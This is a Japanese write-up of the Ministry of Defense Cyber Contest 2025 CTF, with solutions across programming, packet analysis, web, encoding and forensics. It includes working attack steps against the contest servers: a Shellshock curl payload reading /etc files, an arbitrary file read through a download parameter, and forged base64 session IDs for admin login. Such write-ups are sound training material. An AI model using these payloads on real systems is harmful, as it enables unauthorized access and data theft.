【CTF】防衛省サイバーコンテスト2025:Writeup

# 概要

令和7年2月2日(日)9時00分～21時00分に開催された防衛省サイバーコンテスト2025のWriteupです。

https://www.mod.go.jp/j/approach/defense/cyber/c_contest/index.html

書ける範囲で書きます。

# PG

## **Q1**.*縮めるだけじゃダメ*

マクロが用意されているの実行すると`flag{xxxxxx}`の文字列が出来ます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f2c2b45f-fdee-4867-14a9-93773124a3f4.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/11140e10-556b-6759-dd06-34d20bf2bc87.png)

ステップイン機能で一行ずつ処理を追うと{}内の数字が変化していくので、最終的数字がフラグです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7d0e1fee-2230-87d7-ee3c-6627439fa084.png)

**A**.**flag{268653}**

## **Q2**.*暗算でもできるけど？*

Cのソースコードが提供されるのでコンパイルして実行すると素数が出力されました。

```
$ ./pg-2                                                
2
3
5
7
11
13
17
19
```

検索して`68`番目の素数が`337`で、`314`番目の素数が`2083`だと分かったので足した数がフラグです。

**A**.**flag{2420}**

## **Q4**.*loop in loop*

処理の指示に合うコードをpythonで書きました。

```flag.py
import hashlib

def get_hash(txt):
    h = hashlib.new('ripemd160')
    h.update(txt.encode())
    return h.hexdigest()

def main(arg1, arg2):
    num = 0
    
    arg1_ripend160 = get_hash(arg1)
    arg2_ripend160 = get_hash(arg2)

    for i in arg1_ripend160:
        for j in arg2_ripend160:
            if(i.isdigit() and j.isdigit()):
                xor = int(i) ^ int(j)
                num += xor
     
    print(num)           
if __name__ == '__main__':
    main('Phoenix','Messiah')
```

実行し、フラグゲットです。

```
>python pg-4.py
5785
```

**A**.**flag{5785}**

# NW

## **Q1**.*頭が肝心です*

`eml`ファイルが提供されるのでAnalyzeツールを使いました。

https://eml-analyzer.herokuapp.com

`Received`の項目を確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/144b26a2-d624-bd15-96eb-6674eaa1c4cb.png)

**A**.**flag{172.16.25.39}**

## **Q2**.*3 Way Handshake？*

オープンポートということは3 way handshakeで`syn,ack`が返って来たという事なので、`tcp.flags.syn==1 && tcp.flags.ack==1`のようにフィルタリング設定をします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a101d0fd-796e-5d04-3ab4-f30112defbda.png)

フィルタリング結果のパケットからポートを小さい順に並べてフラグゲットです。

**A**.**flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}**

## **Q3**.*さあ得点は？*

HTTP HEADリクエストのパケットを確認すると特徴的なペイロードが見つかりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0b7707d4-946f-6271-46c6-fef6d321cbe8.png)

文字列で検索すると`CVE-2011-3192`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9d43bb7e-eb6f-4e2c-fbb7-461422709854.png)

NVDのサイトからスコアを確認します。

https://nvd.nist.gov/vuln/detail/cve-2011-3192

**A**.**flag{7.8}**

## **Q4**.*decode*

pcapファイルが分割されているので`mergecap`で結合します。

```
$ mergecap -a *.pcap -w merged.pcap
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9e293a2c-e8db-d7ee-dfb4-7aee9005bf99.png)

HTTPで通信しているパケットがあります。
内容を見るとimageのデータをJSONで返してもらっています。
データは`Base64`でデコードされているようです。

データをファイルに保存して`Base64`でデコードしたのをファイルに出力すると画像ファイルに変換できました。

```        
$ cat 7 | base64 -d > 7-img
```

![2-img.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/aa767417-af18-33ae-e318-b6174cd0f069.jpeg)

順番にパケットを画像ファイルに変換していくとフラグが書かれた画像を変換できました。

![7-img.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/db317a81-e082-271a-4cc9-bba1f8801919.jpeg)

**A**.**flag{c4ptur3_cat}**

# WE

## **Q1**.*簡単には見せません*

Webページにアクセスしましたが、このページにはフラグがないらしいです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/39f6b3e1-9b75-66f1-9f58-32f86c6ff938.png)

`robots.txt`からサイトのパスが分かりました。

```/robots.txt
User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/
```

順番にアクセスしていき、`/blue/`で`/flg`を発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bca1d906-e497-8ffc-a42d-f8c2cc031b47.png)

`/blue/flg/`にアクセスするとこのページにフラグがあるようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b50d190d-f28e-ed52-4274-5c1596231987.png)

ページのソースコードからフラグを入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/dcd8d737-67e6-ae12-0033-3d6ad7203d7c.png)

**A**.**flag{TakeMeToTheFlag}**

## **Q2**.*試練を乗り越えろ！*

Webページにアクセスします。
今何問目かの問題がずっと続いているようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ff015a0d-6d76-da08-f1ad-97fa6b18f824.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/931d7b8c-82ab-5cab-3a4a-bf4cc9d73fa8.png)

リクエストBodyがこのようになっているので`qCount=10000&answer=10000`で最終問題にリクエストを送信できそうです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1b20855b-8cd1-2600-1259-87851f485f4b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9c222952-46c7-bf21-6783-b21e4abce98f.png)

リクエストを送信するコードを書きました。

```flag.py
import requests

data = {'qCount':10000,'answer':10000,'submit':'\%\E9\%\80\%\81\%\E4%BF%A1'}
response = requests.post('https://we2-prod.2025winter-cybercontest.net/', data=data)
print(response.text)
```

レスポンスからフラグを入手できました。

```
$ python flag.py

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>試練を乗り越えろ！</h2>
<hr>
フラグが欲しければ１万問の質問に答えてください。<br>
<font color="red">おめでとうございます！<br>よく試練に耐えましたね！<br>あなたは素晴らしい！！<br>でも最初からやり直してください<br><br><br><br><br><br>というのは冗談です<br>フラグは下記のとおりです<br><b>flag{WinThroughTheGame}</font><br><hr>
第10000問<br>
今は何問目？
<br>
<form method="POST">
<input type="hidden" name="qCount" value="10000">
答え：<input type="text" name="answer" size="6">
<input type="submit" name="submit" value="送信">
</form>
</body>
</html>
```

**A**.**flag{WinThroughTheGame}**

## **Q3**.*直してる最中なんです*

Webページにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/88e5f70b-60f1-6ae3-54d0-5acddad580f3.png)

ソースコードから`/secret/download.js`を発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/067c5058-c42b-fc4a-2691-d7f670a38151.png)

ソースコードを見ると`/secret/download.php`にPOSTリクエストを送信する処理が書かれています。

```secret/download.js
function dlFIle(file){
	var dataS = 'fName=' + file;
	var xhr = new XMLHttpRequest();
	xhr.open('POST','/secret/download.php');
	xhr.send(dataS);
	xhr.onload = function() {
		var strS = xhr.responseText;
	};
}
```

試しにPOSTリクエストを送信してみると、`fName`パラメータが無いと言われました。

```
$ curl -X POST https://we3-prod.2025winter-cybercontest.net/secret/download.php 
<br />
<b>Warning</b>:  Undefined array key "fName" in <b>/var/www/html/secret/download.php</b> on line <b>2</b><br />
<br />

(省略)
```

`fName`パラメータでファイルを読み込めそうなので`fName=/etc/WE-3`のようなリクエストを送信するとフラグを入手できました。

```
$ curl -X POST https://we3-prod.2025winter-cybercontest.net/secret/download.php -d "fName=/etc/WE-3"  
<br />
<b>Warning</b>:  filesize(): stat failed for /var/www/html/secret//etc/WE-3 in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />

(省略)

flag{fGrantUB56skBTlmF14mostFP}
```

**A**.**flag{fGrantUB56skBTlmF14mostFP}**

## **Q4**.*直接聞いてみたら？*

Webページにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/53845da8-e15e-883b-80f8-f0c9b156bafd.png)

チェックを入れ問い合わせると`Base64`エンコードしたパラメータで処理をしているようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5fc79653-ac50-85d6-4193-9650c6ebf725.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/47d55779-73f2-dacd-cffd-50a2a6c4dd31.png)

`[{"name":"flag","value":"on"}]`のようなパラメータにして`Base64`エンコードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/14cd77cd-ae2a-768b-a166-17b618b9311f.png)

これでリクエストを送信するとフラグが返ってきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0e2551a9-ea8b-16f6-0b13-14c8b7cbc390.png)

**A**.**flag{ParameterHandlingError}**

# CY

## **Q1**.*エンコード方法は一つじゃない*

最初の文字列をURLデコードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/eca9a090-602b-9f66-1ce5-7220af5ba305.png)

デコード結果から暗号化された文字列が以下の3つに分けられていると予測できます。

- `&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;`
- `VmFyaW91c0VuY29kaW5ncw==`
- `666c61677b`

`&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;`は`Unicode Hex Character Code`で`UcanB}`に変換できました。

https://www.codetable.net/hex/55

`VmFyaW91c0VuY29kaW5ncw==`は`Base64`デコードで`VariousEncodings`に変換できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c9bfbb69-a6d8-1764-295a-10bb3c7f3e20.png)

`666c61677b`はCyberChefの`Hex`で`flag{`に変換できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3f01c1d4-e77e-d148-6234-9c38bb428a2b.png)

いい感じに文字列を並べ替えてフラグゲットです。

**A**.**flag{VariousEncodingsUcanB}**

## **Q2**.*File Integrity of Long Hash*

提供されたハッシュ値は`Sha512`だと分かりました。
指定されたハッシュ値に合うファイルを探すコードを書きました。

```flag.py
import hashlib

for i in range(10,100):
    file_name = f'flags_{i}.txt'
    with open(f'/home/kali/boueisyou-ctf/flags/{file_name}', 'rb') as file:
        fileData = file.read()
        sha512 = hashlib.sha512(fileData).hexdigest()
        if (sha512 == '189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf'):
            print(file_name)
```

`flags_89.txt`がそれにあたるようです。
ファイルの中のフラグを提出して正解しました。

```
┌──(kali㉿kali)-[~/boueisyou-ctf]
└─$ python flag.py
flags_89.txt
                                                                                                                    
┌──(kali㉿kali)-[~/boueisyou-ctf]
└─$ cat flags/flags_89.txt 
flag{346D895B8FF3892191A645}
```

**A**.**flag{346D895B8FF3892191A645}**

# FR

## **Q1**.*露出禁止！*

提供されたログファイルを確認します。

```FR-1.log
192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [10/Jul/2024:15:40:11 +0900] "GET /mypage.php?sesid=MTcyMjM0Nzk5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
192.168.100.106 - - [12/Jul/2024:16:54:44 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [12/Jul/2024:16:54:50 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [12/Jul/2024:16:54:58 +0900] "GET /mypage.php?sesid=MTcyMjQ0MTU5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [15/Jul/2024:13:05:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [15/Jul/2024:13:05:13 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [15/Jul/2024:13:05:18 +0900] "GET /mypage.php?sesid=MTcyMjQyNzg1NywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.123.101 - - [19/Jul/2024:21:54:42 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.101 - - [19/Jul/2024:21:54:49 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
192.168.123.102 - - [21/Jul/2024:16:32:32 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.102 - - [21/Jul/2024:16:32:45 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.102 - - [21/Jul/2024:16:32:52 +0900] "GET /mypage.php?sesid=MTcyMjg5MjM3NCwyLHVzZXIyCg== HTTP/1.1" 200 281
192.168.123.105 - - [25/Jul/2024:12:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.105 - - [25/Jul/2024:12:45:32 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.105 - - [25/Jul/2024:12:25:36 +0900] "GET /mypage.php?sesid=MTcyMzA2NjQ5NCw1LHVzZXI1Cg== HTTP/1.1" 200 281
```

`sesid`の文字列をそれぞれ`Base64`デコードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a8f99f1b-e34d-4efc-a843-bc30af856445.png)

`user6`だけ値の形式が違うのでアクセスに使用するとログイン出来ました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f66f039c-b0e5-2de5-2705-0b3cc945b9c3.png)

`user6`のパラメータをいじって`1767225599,1,admin`のようにして`Base64`エンコードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1b8f7a83-f393-d798-10d6-b232b5566077.png)

エンコードした値を使用すると`admin`でログインに成功し、フラグを入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/58c9a4cc-0eed-b924-57bd-fcef2c9d6220.png)

**A**.**flag{SessionIDsCarefully}**

## **Q2**.*成功の証*

FTPのログイン試行パケットがあるので`ip.src == 192.168.123.116 && ftp`のようにフィルタリングし、ログイン成功の`230`を検索すると見つかりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d232d136-83a8-676e-367d-c101e7cbf91a.png)

追跡機能でログインに成功したパスワードを得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/30316ba5-944a-fd25-a6f1-284e92769428.png)

**A**.**flag{zyyzzyzy}**

## **Q3**.*犯人はこの中にいる！*

ポートスキャンのパケットから送信元のMACアドレスを得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/77ac6ed3-e89e-a8fb-0500-51c46df78cb9.png)

`eth.addr == 00:0c:29:4d:c2:33`のようにMACアドレスでフィルタリングすると実際のIPは`192.168.204.137`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ce70c4f9-1a25-7b44-bbec-70bf52aae05b.png)

**A**.**flag{192.168.204.137}**

# PW

## **Q1**.*CVE-2014-7169他*

タイトルやログの内容から`shellshock`が関係していそうです。

攻撃成功ログからリクエスト送信先が分かりました。

```PW-1.log
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
```

`/cgi-bin/n.cgi`に`/etc/PW-1`を表示するコードを仕込んで送信するとフラグを入手できました。

```
$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1" https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi   
flag{>:(!shellshock!}
```

**A**.**flag{>:(!shellshock!}**

# TR

## **Q2**.*Windowsで解きましょう*

提供されたbatファイルのソースコードを確認します。

```flags.bat
@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal
```

条件分岐に注目すると`set FDATA4=25`でTrueになると分かりました。

```
if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
```

なので`flags_25.txt`のフラグで正解しました。

**A**.**flag{7525252364612534937244}**